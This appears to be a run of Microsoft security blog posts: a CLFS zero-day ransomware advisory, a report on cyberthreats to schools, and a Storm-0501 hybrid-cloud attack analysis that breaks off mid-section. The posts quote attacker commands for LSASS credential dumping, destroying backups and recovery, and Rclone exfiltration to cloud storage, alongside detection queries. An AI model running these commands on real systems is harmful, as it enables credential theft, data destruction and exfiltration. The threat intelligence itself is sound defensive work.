• https://www.security.com/threat-intelligence/noberus-blackcat-alphv-rust-ransomware
• http://approjects.co.za/?big=en-us/security/blog/2022/07/05/hive-ransomware-gets-upgrades-in-rust/#:~:text=Hive%20isn’t%20the%20first,data%20type%2C%20and%20thread%20safety
• https://www.trendmicro.com/en_us/research/23/e/rust-based-info-stealers-abuse-github-codespaces.html
• https://www.gdatasoftware.com/blog/2025/05/38207-asyncrat-rust
• https://www.sonicwall.com/blog/nova-raas-the-ransomware-that-spares-schools-and-nonprofits-for-now
• https://research.checkpoint.com/2023/rust-binary-analysis-feature-by-feature/
• https://doc.rust-lang.org/cargo/
• https://docs.hex-rays.com/user-guide/helper-tools
• https://github.com/joxeankoret/diaphora
• https://www.ti.com/lit/an/spraao8/spraao8.pdf?ts=1749128710998
• https://pypi.org/project/rust-demangler/
• https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/

Acknowledgments

• https://www.sentinelone.com/press/sentinelone-and-intezer-team-to-simplify-reverse-engineering-of-rust-malware/
• https://www.youtube.com/watch?v=cMIhIARmNfU

Learn more

Meet the experts behind Microsoft Threat Intelligence, Incident Response, and the Microsoft Security Response Center at our VIP Mixer at Black Hat 2025. Discover how our end-to-end platform can help you strengthen resilience and elevate your security posture.

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog. 

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky. 

To hear stories and insights from the Microsoft Threat Intelligence community about the latest changes in the broader threat landscape, listen to the Microsoft Threat Intelligence podcast. 

The post Unveiling RIFT: Enhancing Rust malware analysis through pattern matching appeared first on Microsoft Security Blog.

In addition to discovering the vulnerability, Microsoft also found that the exploit has been deployed by PipeMagic malware. Microsoft is attributing the exploitation activity to Storm-2460, which also used PipeMagic to deploy ransomware. Ransomware threat actors value post-compromise elevation of privilege exploits because these could enable them to escalate initial access, including handoffs from commodity malware distributors, into privileged access. They then use privileged access for widespread deployment and detonation of ransomware within an environment. Microsoft highly recommends that organizations prioritize applying security updates for elevation of privilege vulnerabilities to add a layer of defense against ransomware attacks if threat actors are able to gain an initial foothold.

This blog details Microsoft’s analysis of the observed CLFS exploit and related activity targeting our customers. This information is shared with our customers and industry partners to improve detection of these attacks and encourage rapid patching or other mitigations, as appropriate. A more comprehensive recommendations section, with indicators of compromise and detection details can be found at the end of the blog post.

CVE 2025-29824: A zero-day vulnerability in the Common Log File System (CLFS)

The exploit activity discovered by Microsoft targets a zero-day vulnerability in the Common Log File System (CLFS) kernel driver. Successful exploitation allows an attacker running as a standard user account to escalate privileges. The vulnerability is tracked as CVE-2025-29824 and was fixed on April 8, 2025.

Pre-exploitation activity

While Microsoft hasn’t determined the initial access vectors that led to the devices being compromised, there are some notable pre-exploitation behaviors by Storm-2460. In multiple cases, the threat actor used the certutil utility to download a file from a legitimate third-party website that was previously compromised to host the threat actor’s malware.

The downloaded file was a malicious MSBuild file, a technique described here, that carried an encrypted malware payload. Once the payload was decrypted and executed via the EnumCalendarInfoA API callback, the malware was found to be PipeMagic, which Kaspersky documented in October 2024. Researchers at ESET have also observed the use of PipeMagic in 2023 in connection with the deployment of a zero-day exploit for a Win32k vulnerability assigned CVE-2025-24983. A domain used by the PipeMagic sample was aaaaabbbbbbb.eastus.cloudapp.azure[.]com, which has now been disabled by Microsoft.

CLFS exploit activity

Following PipeMagic deployment, the attackers launched the CLFS exploit in memory from a dllhost.exe process.

The exploit targets a vulnerability in the CLFS kernel driver. It’s notable that the exploit first uses the NtQuerySystemInformation API to leak kernel addresses to user mode. However, beginning in Windows 11, version 24H2, access to certain System Information Classes within NtQuerySystemInformation became available only to users with SeDebugPrivilege, which typically only admin-like users can obtain. This meant that the exploit did not work on Windows 11, version 24H2, even if the vulnerability was present.

The exploit then utilizes a memory corruption and the RtlSetAllBits API to overwrite the exploit process’s token with the value 0xFFFFFFFF, enabling all privileges for the process, which allows for process injection into SYSTEM processes.

As part of the exploitation, a CLFS BLF file with the following path is created by the exploit’s dllhost.exe process: C:\ProgramData\SkyPDF\PDUDrv.blf.

Post-exploitation activity leads to ransomware activity

Upon successful exploitation, a payload is injected into winlogon.exe. This payload then injected the Sysinternals procdump.exe tool into another dllhost.exe and ran it with the following command line:

C:\Windows\system32\dllhost.exe -accepteula -r -ma lsass.exe c:\programdata\[random letters].

Having done this, the actor was able to dump the memory of LSASS and parse it to obtain user credentials.

Then, Microsoft observed ransomware activity on target systems. Files were encrypted and a random extension added, and a ransom note with the name !_READ_ME_REXX2_!.txt was dropped. Microsoft is tracking activity associated with this ransomware as Storm-2460.

Although we weren’t able to obtain a sample of ransomware for analysis, we’re including some notable events surrounding the activity to better help defenders:

• Two .onion domains have been seen in the !_READ_ME_REXX2_!.txt ransom notes
  • jbdg4buq6jd7ed3rd6cynqtq5abttuekjnxqrqyvk4xam5i7ld33jvqd.onion which has been tied to the RansomEXX ransomware family
  • uyhi3ypdkfeymyf5v35pbk3pz7st3zamsbjzf47jiqbcm3zmikpwf3qd.onion
• The ransomware is launched from dllhost.exe with the command line:

--do [path_to_ransom] (for example, C:\Windows\system32\dllhost.exe --do C:\foobar)

• The file extension on the encrypted files is random per device, but the same for every file
• Some typical ransomware commands that make recovery or analysis harder are executed, including:
  • bcdedit /set {default} recoveryenabled no
  • wbadmin delete catalog -quiet
  • wevtutil cl Application
• In one observed case the actor spawned notepad.exe as SYSTEM

Mitigation and protection guidance

Microsoft released security updates to address CVE 2025-29824 on April 8, 2025. Customers running Windows 11, version 24H2 are not affected by the observed exploitation, even if the vulnerability was present. Microsoft urges customers to apply these updates as soon as possible.

Microsoft recommends the following mitigations to reduce the impact of activity associated with Storm-2460:

• Refer to our blog Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself for robust measures to defend against ransomware.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants.
• Use device discovery to increase your visibility into your network by finding unmanaged devices on your network and onboarding them to Microsoft Defender for Endpoint. Ransomware attackers often identify unmanaged or legacy systems and use these blind spots to stage attacks.
• Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume. Use Microsoft Defender Vulnerability Management to assess your current status and deploy any updates that might have been missed.
• Microsoft 365 Defender customers can turn on attack surface reduction rules to prevent common attack techniques used in ransomware attacks:
• Use advanced protection against ransomware

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threats associated with this activity as the following malware:

• SilverBasket (Win64/Windows)
• MSBuildInlineTaskLoader.C (Script/Windows)
• SuspClfsAccess (Win32/Windows)

Microsoft Defender for Endpoint

The following alerts might indicate threat activity related to this threat. Note, however, that these alerts can be also triggered by unrelated threat activity.

• A process was injected with potentially malicious code
• Potential Windows DLL process injection
• Suspicious access to LSASS service
• Sensitive credential memory read
• Suspicious process injection observed
• File backups were deleted
• Ransomware behavior detected in the file system

Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run the following pre-built promptbooks to automate incident response or investigation tasks related to this threat:

• Incident investigation
• Microsoft User analysis
• Threat actor profile
• Threat Intelligence 360 report based on MDTI article
• Vulnerability impact assessment

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.

Hunting queries

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Search for devices having CVE-2025-29814 exposure

DeviceTvmSoftwareVulnerabilities
| where CveId in ("CVE-2025-29814")
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,
CveId,VulnerabilitySeverityLevel
| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware

Detect CLFS BLF file creation after exploitation of CVE 2025-29824

DeviceFileEvents 
| where FolderPath has "C:\\ProgramData\\SkyPDF\\" and FileName endswith ".blf"

LSSASS process dumping activity

SecurityEvent 
  | where EventID == 4688
  | where CommandLine has("dllhost.exe -accepteula -r -ma lsass.exe") 
  | extend timestamp = TimeGenerated, AccountCustomEntity = Account, HostCustomEntity = Computer

Ransomware process activity

let cmdlines = dynamic(["C:\\Windows\\system32\\dllhost.exe --do","bcdedit /set {default} recoveryenabled no","wbadmin delete catalog -quiet","wevtutil cl Application"]);
DeviceProcessEvents 
| where ProcessCommandLine has_any (cmdlines)
| project TimeGenerated, DeviceName, ProcessCommandLine, AccountDomain, AccountName

PipeMagic and RansomEXX fansomware domains

let domains = dynamic(["aaaaabbbbbbb.eastus.cloudapp.azure.com","jbdg4buq6jd7ed3rd6cynqtq5abttuekjnxqrqyvk4xam5i7ld33jvqd.onion","uyhi3ypdkfeymyf5v35pbk3pz7st3zamsbjzf47jiqbcm3zmikpwf3qd.onion"]);
DeviceNetworkEvents
| where RemoteUrl has_any (domains)
| project TimeGenerated, DeviceId, DeviceName, Protocol, LocalIP, LocalIPType, LocalPort,RemoteIP, RemoteIPType, RemotePort, RemoteUrl

Indicators of compromise

References

• https://blog.talosintelligence.com/building-bypass-with-msbuild/
• https://www.kaspersky.com/about/press-releases/kaspersky-uncovers-pipemagic-backdoor-attacks-businesses-through-fake-chatgpt-application  
• https://x.com/ESETresearch/status/1899508656258875756

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://x.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Exploitation of CLFS zero-day leads to ransomware activity appeared first on Microsoft Security Blog.

Education is essentially an “industry of industries,” with K-12 and higher education enterprises handling data that could include health records, financial data, and other regulated information. At the same time, their facilities can host payment processing systems, networks that are used as internet service providers (ISPs), and other diverse infrastructure. The cyberthreats that Microsoft observes across different industries tend to be compounded in education, and threat actors have realized that this sector is inherently vulnerable. With an average of 2,507 cyberattack attempts per week, universities are prime targets for malware, phishing, and IoT vulnerabilities.¹ 

Security staffing and IT asset ownership also affect education organizations’ cyber risks. School and university systems, like many enterprises, often face a shortage of IT resources and operate a mix of both modern and legacy IT systems. Microsoft observes that in the United States, students and faculty are more likely to use personal devices in education compared to Europe, for example. Regardless of ownership however, in these and other regions, busy users do not always have a security mindset. 

This edition of Cyber Signals delves into the cybersecurity challenges facing classrooms and campuses, highlighting the critical need for robust defenses and proactive measures. From personal devices to virtual classes and research stored in the cloud, the digital footprint of school districts, colleges, and universities has multiplied exponentially.  

We are all defenders. 

A uniquely valuable and vulnerable environment 

The education sector’s user base is very different from a typical large commercial enterprise. In the K-12 environment, users include students as young as six years old. Just like any public or private sector organization, there is a wide swath of employees in school districts and at universities including administration, athletics, health services, janitorial, food service professionals, and others. Multiple activities, announcements, information resources, open email systems, and students create a highly fluid environment for cyberthreats.

Virtual and remote learning have also extended education applications into households and offices. Personal and multiuser devices are ubiquitous and often unmanaged—and students are not always cognizant about cybersecurity or what they allow their devices to access.

Education is also on the front lines confronting how adversaries test their tools and their techniques. According to data from Microsoft Threat Intelligence, the education sector is the third-most targeted industry, with the United States seeing the greatest cyberthreat activity.

Cyberthreats to education are not only a concern in the United States. According to the United Kingdom’s Department of Science Innovation and Technology 2024 Cybersecurity Breaches Survey, 43% of higher education institutions in the UK reported experiencing a breach or cyberattack at least weekly.² 

QR codes provide an easily disguised surface for phishing cyberattacks

Today, quick response (QR) codes are quite popular—leading to increased risks of phishing cyberattacks designed to gain access to systems and data. Images in emails, flyers offering information about campus and school events, parking passes, financial aid forms, and other official communications all frequently contain QR codes. Physical and virtual education spaces might be the most “flyer friendly” and QR code-intensive environments anywhere, given how big a role handouts, physical and digital bulletin boards, and other casual correspondence help students navigate a mix of curriculum, institutional, and social correspondence. This creates an attractive backdrop for malicious actors to target users who are trying to save time with a quick image scan. 

Recently the United States Federal Trade Commission issued a consumer alert on the rising threat of malicious QR codes being used to steal login credentials or deliver malware.³

Microsoft Defender for Office 365 telemetry shows that approximately more than 15,000 messages with malicious QR codes are targeted toward the educational sector daily—including phishing, spam, and malware. 

Legitimate software tools can be used to quickly generate QR codes with embedded links to be sent in email or posted physically as part of a cyberattack. And those images are hard for traditional email security solutions to scan, making it even more important for faculty and students to use devices and browsers with modern web defenses. 

Targeted users in the education sector may use personal devices without endpoint security. QR codes essentially enable the threat actor to pivot to these devices. QR code phishing (since its purpose is to target mobile devices) is compelling evidence of mobile devices being used as an attack vector into enterprises—such as personal accounts and bank accounts—and the need for mobile device protection and visibility. Microsoft has significantly disrupted QR code phishing attacks. This shift in tactics is evident in the substantial decrease in daily phishing emails intercepted by our system, dropping from 3 million in December 2023 to just 179,000 by March 2024. 

Universities present their own unique challenges. Much of university culture is based on collaboration and sharing to drive research and innovation. Professors, researchers, and other faculty operate under the notion that technology, science—simply knowledge itself—should be shared widely. If someone appearing as a student, peer, or similar party reaches out, they’re often willing to discuss potentially sensitive topics without scrutinizing the source. 

University operations also span multiple industries. University presidents are effectively CEOs of healthcare organizations, housing providers, and large financial organizations—the industry of industries factor, again. Therefore, top leaders can can be prime targets for anyone attacking those sectors.

The combination of value and vulnerability found in education systems has attracted the attention of a spectrum of cyberattackers—from malware criminals employing new techniques to nation-state threat actors engaging in old-school spy craft.  

Microsoft continually monitors threat actors and threat vectors worldwide. Here are some key issues we’re seeing for education systems. 

Email systems in schools offer wide spaces for compromise 

The naturally open environment at most universities forces them to be more relaxed in their email hygiene. They have a lot of emails amounting to noise in the system, but are often operationally limited in where and how they can place controls, because of how open they need to be for alumni, donors, external user collaboration, and many other use cases.  

Education institutions tend to share a lot of announcements in email. They share informational diagrams around local events and school resources. They commonly allow external mailers from mass mailing systems to share into their environments. This combination of openness and lack of controls creates a fertile ground for cyberattacks.

AI is increasing the premium on visibility and control  

Cyberattackers recognizing higher education’s focus on building and sharing can survey all visible access points, seeking entry into AI-enabled systems or privileged information on how these systems operate. If on-premises and cloud-based foundations of AI systems and data are not secured with proper identity and access controls, AI systems become vulnerable. Just as education institutions adapted to cloud services, mobile devices and hybrid learning—which introduced new waves of identities and privileges to govern, devices to manage, and networks to segment—they must also adapt to the cyber risks of AI by scaling these timeless visibility and control imperatives.

Nation-state actors are after valuable IP and high-level connections 

Universities handling federally funded research, or working closely with defense, technology, and other industry partners in the private sector, have long recognized the risk of espionage. Decades ago, universities focused on telltale physical signs of spying. They knew to look for people showing up on campus taking pictures or trying to get access to laboratories. Those are still risks, but today the dynamics of digital identity and social engineering have greatly expanded the spy craft toolkit. 

Universities are often epicenters of highly sensitive intellectual property. They may be conducting breakthrough research. They may be working on high-value projects in aerospace, engineering, nuclear science, or other sensitive topics in partnership with multiple government agencies.  

For cyberattackers, it can be easier to first compromise somebody in the education sector who has ties to the defense sector and then use that access to more convincingly phish a higher value target.  

Universities also have experts in foreign policy, science, technology, and other valuable disciplines, who may willingly offer intelligence, if deceived in social-engineering cyberattacks employing false or stolen identities of peers and others who appear to be in individuals’ networks or among trusted contacts. Apart from holding valuable intelligence themselves, compromised accounts of university employees can become springboards into further campaigns against wider government and industry targets.

Nation-state actors targeting education 

Peach Sandstorm

Peach Sandstorm has used password spray attacks against the education sector to gain access to infrastructure used in those industries, and Microsoft has also observed the organization using social engineering against targets in higher education.  

Mint Sandstorm 

Microsoft has observed a subset of this Iranian attack group targeting high-profile experts working on Middle Eastern affairs at universities and research organizations. These sophisticated phishing attacks used social engineering to compel targets to download malicious files including a new, custom backdoor called MediaPl. 

Mabna Institute  

In 2023, the Iranian Mabna Institute conducted intrusions into the computing systems of at least 144 United States universities and 176 universities in 21 other countries.  

The stolen login credentials were used for the benefit of Iran’s Islamic Revolutionary Guard Corps and were also sold within Iran through the web. Stolen credentials belonging to university professors were used to directly access university library systems. 

Emerald Sleet

This North Korean group primarily targets experts in East Asian policy or North and South Korean relations. In some cases, the same academics have been targeted by Emerald Sleet for nearly a decade.  

Emerald Sleet uses AI to write malicious scripts and content for social engineering, but these attacks aren’t always about delivering malware. There’s also an evolving trend where they simply ask experts for policy insight that could be used to manipulate negotiations, trade agreements, or sanctions. 

Moonstone Sleet 

Moonstone Sleet is another North Korean actor that has been taking novel approaches like creating fake companies to forge business relationships with educational institutions or a particular faculty member or student.  

One of the most prominent attacks from Moonstone Sleet involved creating a fake tank-themed game used to target individuals at educational institutions, with a goal to deploy malware and exfiltrate data. 

Storm-1877  

This actor largely engages in cryptocurrency theft using a custom malware family that they deploy through various means. The ultimate goal of this malware is to steal crypto wallet addresses and login credentials for crypto platforms.  

Students are often the target for these attacks, which largely start on social media. Storm-1877 targets students because they may not be as aware of digital threats as professionals in industry. 

A new security curriculum 

Due to education budget and talent constraints and the inherent openness of its environment, solving education security is more than a technology problem. Security posture management and prioritizing security measures can be a costly and challenging endeavor for these institutions—but there is a lot that school systems can do to protect themselves.  

Maintaining and scaling core cyberhygiene will be key to securing school systems. Building awareness of security risks and good practices at all levels—students, faculty, administrators, IT staff, campus staff, and more—can help create a safer environment.  

For IT and security professionals in the education sector, doing the basics and hardening the overall security posture is a good first step. From there, centralizing the technology stack can help facilitate better monitoring of logging and activity to gain a clearer picture into the overall security posture and any vulnerabilities. 

Oregon State University 

Oregon State University (OSU), an R1 research-focused university, places a high priority on safeguarding its research to maintain its reputation. In 2021, it experienced an extensive cybersecurity incident unlike anything before. The cyberattack revealed gaps in OSU’s security operations.

“The types of threats that we’re seeing, the types of events that are occurring in higher education, are much more aggressive by cyber adversaries.”

—David McMorries, Chief Information Security Officer at Oregon State University

In response to this incident, OSU created its Security Operations Center (SOC), which has become the centerpiece of the university’s security effort. AI has also helped automate capabilities and helped its analysts, who are college students, learn how to quickly write code—such as threat hunting with more advanced hunting queries. 

Arizona Department of Education 

A focus on Zero Trust and closed systems is an area that the Arizona Department of Education (ADE) takes further than the state requirements. It blocks all traffic from outside the United States from its Microsoft 365 environment, Azure, and its local datacenter.

“I don’t allow anything exposed to the internet on my lower dev environments, and even with the production environments, we take extra care to make sure that we use a network security group to protect the app services.”

—Chris Henry, Infrastructure Manager at the Arizona Department of Education 

Follow these recommendations:  

• The best defense against QR code attacks is to be aware and pay attention. Pause, inspect the code’s URL before opening it, and don’t open QR codes from unexpected sources, especially if the message uses urgent language or contains errors. 

• Consider implementing “protective domain name service,” a free tool that helps prevent ransomware and other cyberattacks by blocking computer systems from connecting to harmful websites. Prevent password spray attacks with a stringent password and deploy multifactor authentication.  

• Educate students and staff about their security hygiene, and encourage them to use multifactor authentication or passwordless protections. Studies have shown that an account is more than 99.9% less likely to be compromised when using multifactor authentication.   

• Microsoft has launched role-based trainings for leaders, educators, students, parents, and IT professionals aligned to recommendations of the United States Cybersecurity and Infrastructure Security Agency.    

Corey Lee has always had an interest in solving puzzles and crimes. He started his college career at Penn State University in criminal justice, but soon realized his passion for digital forensics after taking a course about investigating a desktop computer break-in.  

After completing his degree in security and risk analysis, Corey came to Microsoft focused on gaining cross-industry experience. He’s worked on securing everything from federal, state, and local agencies to commercial enterprises, but today he focuses on the education sector.  

After spending time working across industries, Corey sees education through a different lens—the significantly unique industry of industries. The dynamics at play inside the education sector include academic institutions, financial services, critical infrastructure like hospitals and transportation, and partnerships with government agencies. According to Corey, working in such a broad field allows him to leverage skillsets from multiple industries to address specific problems across the landscape. 

The fact that education could also be called underserved from a cybersecurity standpoint is another compelling challenge, and part of Corey’s personal mission. The education industry needs cybersecurity experts to elevate the priority of protecting school systems. Corey works across the public and industry dialogue, skilling and readiness programs, incident response, and overall defense to protect not just the infrastructure of education, but students, parents, teachers, and staff. 

Today, Corey is focused reimagining student security operations centers, including how to inject AI into the equation and bring modern technology and training to the table. By growing the cybersecurity work force in education and giving them new tools, he’s working to elevate security in the sector in a way that’s commensurate with how critical the industry is for the future. 

Next steps with Microsoft Security

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

¹Global Cyberattacks Continue to Rise with Africa and APAC Suffering Most, Check Point Blog. April 27, 2023.

²Cyber security breaches survey 2024: education institutions annex, The United Kingdom Department for Science, Innovation & Technology. April 9, 2024

³Scammers hide harmful links in QR codes to steal your information, Federal Trade Commission (Alvaro Puig), December 6, 2023.

Methodology: Snapshot and cover stat data represent telemetry from Microsoft Defender for Office 365 showing how a QR code phishing attack was disrupted by image detection technology and how Security Operations teams can respond to this threat. Platforms like Microsoft Entra provided anonymized data on threat activity, such as malicious email accounts, phishing emails, and attacker movement within networks. Additional insights are from the 78 trillion daily security signals processed by Microsoft each day, including the cloud, endpoints, the intelligent edge, and telemetry from Microsoft platforms and services including Microsoft Defender. Microsoft categorizes threat actors into five key groups: influence operations; groups in development; and nation-state, financially motivated, and private sector offensive actors. The new threat actors naming taxonomy aligns with the theme of weather.  

© 2024 Microsoft Corporation. All rights reserved. Cyber Signals is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS, IMPLIED OR STATUTORY, AS TO THE INFORMATION IN THIS DOCUMENT. This document is provided “as is.” Information and views expressed in this document, including URL and other Internet website references, may change without notice. You bear the risk of using it. This document does not provide you with any legal rights to any intellectual property in any Microsoft product. 

The post ​​Cyber Signals Issue 8 | Education under siege: How cybercriminals target our schools​​ appeared first on Microsoft Security Blog.

Microsoft has observed the threat actor tracked as Storm-0501 launching a multi-staged attack where they compromised hybrid cloud environments and performed lateral movement from on-premises to cloud environment, leading to data exfiltration, credential theft, tampering, persistent backdoor access, and ransomware deployment. The said attack targeted multiple sectors in the United States, including government, manufacturing, transportation, and law enforcement. Storm-0501 is a financially motivated cybercriminal group that uses commodity and open-source tools to conduct ransomware operations.

Storm-0501 has been active as early as 2021, initially observed deploying the Sabbath(54bb47h) ransomware in attacks targeting US school districts, publicly leaking data for extortion, and even directly messaging school staff and parents. Since then, most of the threat actor’s attacks have been opportunistic, as the group began operating as a ransomware-as-a-service (RaaS) affiliate deploying multiple ransomware payloads developed and maintained by other threat actors over the years, including Hive, BlackCat (ALPHV), Hunters International, LockBit, and most recently, Embargo ransomware. The threat actor was also recently observed targeting hospitals in the US.

Storm-0501 is the latest threat actor observed to exploit weak credentials and over-privileged accounts to move from organizations’ on-premises environment to cloud environments. They stole credentials and used them to gain control of the network, eventually creating persistent backdoor access to the cloud environment and deploying ransomware to the on-premises. Microsoft previously observed threat actors such as Octo Tempest and Manatee Tempest targeting both on-premises and cloud environments and exploiting the interfaces between the environments to achieve their goals.

As hybrid cloud environments become more prevalent, the challenge of securing resources across multiple platforms grows ever more critical for organizations. Microsoft is committed to helping customers understand these attacks and build effective defenses against them.

In this blog post, we will go over Storm-0501’s tactics, techniques, and procedures (TTPs), typical attack methods, and expansion to the cloud. We will also provide information on how Microsoft detects activities related to this kind of attack, as well as provide mitigation guidance to help defenders protect their environment.

Analysis of the recent Storm-0501 campaign

On-premises compromise

Initial access and reconnaissance

Storm-0501 previously achieved initial access through intrusions facilitated by access brokers like Storm-0249 and Storm-0900, leveraging possibly stolen compromised credentials to sign in to the target system, or exploiting various known remote code execution vulnerabilities in unpatched public-facing servers. In a recent campaign, Storm-0501 exploited known vulnerabilities in Zoho ManageEngine (CVE-2022-47966), Citrix NetScaler (CVE-2023-4966), and ColdFusion 2016 application (possibly CVE-2023-29300 or CVE-2023-38203). In cases observed by Microsoft, these initial access techniques, combined with insufficient operational security practices by the targets, provided the threat actor with administrative privileges on the target device.

After gaining initial access and code execution capabilities on the affected device in the network, the threat actor performed extensive discovery to find potential desirable targets such as high-value assets and general domain information like Domain Administrator users and domain forest trust. Common native Windows tools and commands, such as systeminfo.exe, net.exe, nltest.exe, tasklist.exe, were leveraged in this phase. The threat actor also utilized open-source tools like ossec-win32 and OSQuery to query additional endpoint information. Additionally, in some of the attacks, we observed the threat actor running an obfuscated version of ADRecon.ps1 called obfs.ps1 or recon.ps1 for Active Directory reconnaissance.

Following initial access and reconnaissance, the threat actor deployed several remote monitoring and management tools (RMMs), such as Level.io, AnyDesk, and NinjaOne to interact with the compromised device and maintain persistence.

Credential access and lateral movement

The threat actor took advantage of admin privileges on the local devices it compromised during initial access and attempted to gain access to more accounts within the network through several methods. The threat actor primarily utilized Impacket’s SecretsDump module, which extracts credentials over the network, and leveraged it across an extensive number of devices to obtain credentials. The threat actor used the compromised credentials to access more devices in the network and then leveraged Impacket again to collect additional credentials. The threat actor then repeated this process until they compromised a large set of credentials that potentially included multiple Domain Admin credentials.

In addition, the threat actor was observed attempting to gather secrets by reading sensitive files and in some cases gathering KeePass secrets from the compromised devices. The threat actor used EncryptedStore’s Find-KeePassConfig.ps1 PowerShell script to output the database location and keyfile/user master key information and launch the KeePass executable to gather the credentials. We assess with medium confidence that the threat actor also performed extensive brute force activity on a few occasions to gain additional credentials for specific accounts.

The threat actor was observed leveraging Cobalt Strike to move laterally across the network using the compromised credentials and using the tool’s command-and-control (C2) capabilities to directly communicate with the endpoints and send further commands. The common Cobalt Strike Beacon file types used in these campaigns were .dll files and .ocx files that were launched by rundll32.exe and regsvr32.exe respectively. Moreover, the “license_id” associated with this Cobalt Strike Beacon is “666”.  The “license_id” definition is commonly referred to as Watermark and is a nine-digit value that is unique per legitimate license provided by Cobalt Strike. In this case, the “license_id” was modified with 3-digit unique value in all the beacon configurations.

In cases we observed, the threat actor’s lateral movement across the campaign ended with a Domain Admin compromise and access to a Domain Controller that eventually enabled them to deploy ransomware across the devices in the network.

Data collection and exfiltration

The threat actor was observed exfiltrating sensitive data from compromised devices. To exfiltrate data, the threat actor used the open-source tool Rclone and renamed it to known Windows binary names or variations of them, such as svhost.exe or scvhost.exe as masquerading means. The threat actor employed the renamed Rclone binaries to transfer data to the cloud, using a dedicated configuration that synchronized files to public cloud storage services such as MegaSync across multiple threads. The following are command line examples used by the threat actor in demonstrating this behavior:

• Svhost.exe copy –filter-from [REDACTED] [REDACTED] config:[REDACTED] -q –ignore-existing –auto-confirm –multi-thread-streams 11 –transfers 11
• scvhost.exe –config C:WindowsDebuga.conf copy [REDACTED UNC PATH] [REDACTED]

Defense evasion

The threat actor attempted to evade detection by tampering with security products in some of the devices they got hands-on-keyboard access to. They employed an open-source tool, resorted to PowerShell cmdlets and existing binaries to evade detection, and in some cases, distributed Group Policy Object (GPO) policies to tamper with security products.

On-premises to cloud pivot

In their recent campaign, we noticed a shift in Storm-0501’s methods. The threat actor used the credentials, specifically Microsoft Entra ID (formerly Azure AD), that were stolen from earlier in the attack to move laterally from the on-premises to the cloud environment and establish persistent access to the target network through a backdoor.

Storm-0501 was observed using the following attack vectors and pivot points on the on-premises side to gain subsequent control in Microsoft Entra ID:

Microsoft Entra Connect Sync account compromise

Microsoft Entra Connect, previously known as Azure AD Connect, is an on-premises Microsoft application that plays a critical role in synchronizing passwords and sensitive data between Active Directory (AD) objects and Microsoft Entra ID objects. Microsoft Entra Connect synchronizes the on-premises identity and Microsoft Entra identity of a user account to allow the user to sign in to both realms with the same password. To deploy Microsoft Entra Connect, the application must be installed on an on-premises server or an Azure VM. To decrease the attack surface, Microsoft recommends that organizations deploy Microsoft Entra Connect on a domain-joined server and restrict administrative access to domain administrators or other tightly controlled security groups. Microsoft Incident Response also published recommendations on preventing cloud identity compromise.

Microsoft Entra Connect Sync is a component of Microsoft Entra Connect that synchronizes identity data between on-premises environments and Microsoft Entra ID. During the Microsoft Entra Connect installation process, at least two new accounts (more accounts are created if there are multiple forests) responsible for the synchronization are created, one in the on-premises AD realm and the other in the Microsoft Entra ID tenant. These service accounts are responsible for the synchronization process.

The on-premises account name is prefixed with “MSOL_” and has permissions to replicate directory changes, modify passwords, modify users, modify groups, and more (see full permissions here).

The cloud Microsoft Entra ID account is prefixed with “sync_<Entra Connect server name>_” and has the account display name set to “On-Premises Directory Synchronization Service Account”. This user account is assigned with the Directory Synchronization Accounts role (see detailed permissions of this role here). Microsoft recently implemented a change in Microsoft Entra ID that restricts permissions on the Directory Synchronization Accounts (DSA) role in Microsoft Entra Connect Sync and Microsoft Entra Cloud Sync and helps prevent abuse.

The on-premises and cloud service accounts conduct the syncing operation every few minutes, similar to Password Hash Synchronization (PHS), to uphold real time user experience. Both user accounts mentioned above are crucial for the Microsoft Entra Connect Sync service operations and their credentials are saved encrypted via DPAPI (Data Protection API) on the server’s disk or a remote SQL server.

